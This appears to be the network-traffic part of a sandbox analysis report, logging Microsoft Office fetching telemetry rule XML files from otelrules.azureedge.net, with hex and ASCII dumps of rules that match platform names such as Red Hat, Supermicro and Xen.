2024-11-11 13:33:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:07 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:07 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 16af1629-301e-0033-6dd5-33fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133307Z-174f78459685726chC1EWRsnbg00000004z000000000ds46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:08 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:08 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:08 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 9a2be61a-a01e-0053-3cd5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133308Z-174f7845968n2hr8hC1EWR9cag00000004h000000000ewc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:08 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:08 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:08 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 87508d13-a01e-0098-09d5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133308Z-174f7845968glpgnhC1EWR7uec0000000580000000001bnx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:08 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:08 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 2302a2aa-d01e-0017-0cd5-33b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133308Z-174f7845968nnm4mhC1EWR1rn400000004vg00000000f36e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:08 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 87508d14-a01e-0098-0ad5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133308Z-174f7845968px8v7hC1EWR08ng000000058g000000008pr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:08 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 7cd11897-e01e-0052-7bd5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133308Z-174f7845968swgbqhC1EWRmnb4000000053000000000bs0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:08 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: c056ec92-701e-001e-03d5-33f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133308Z-174f7845968j9dchhC1EWRfe7400000004rg00000000ebnt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:08 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:08 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 78b03aef-101e-000b-52d5-335e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133308Z-174f7845968qj8jrhC1EWRh41s000000050g000000003ex5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:08 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:08 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: b85e0199-b01e-0098-60d5-33cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133308Z-174f7845968t42glhC1EWRa36w00000004mg00000000ey1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:09 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 63eb2b55-501e-00a3-51d5-33c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133309Z-174f7845968pf68xhC1EWRr4h800000005ag000000003vac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:09 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:09 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 27f4d8c4-701e-0032-2dd5-33a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133309Z-174f7845968vqt9xhC1EWRgten00000004yg00000000drt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:09 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:09 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:09 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:09 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 1c99ed40-601e-0097-39d5-33f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133309Z-174f7845968nxc96hC1EWRspw800000004r000000000anuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
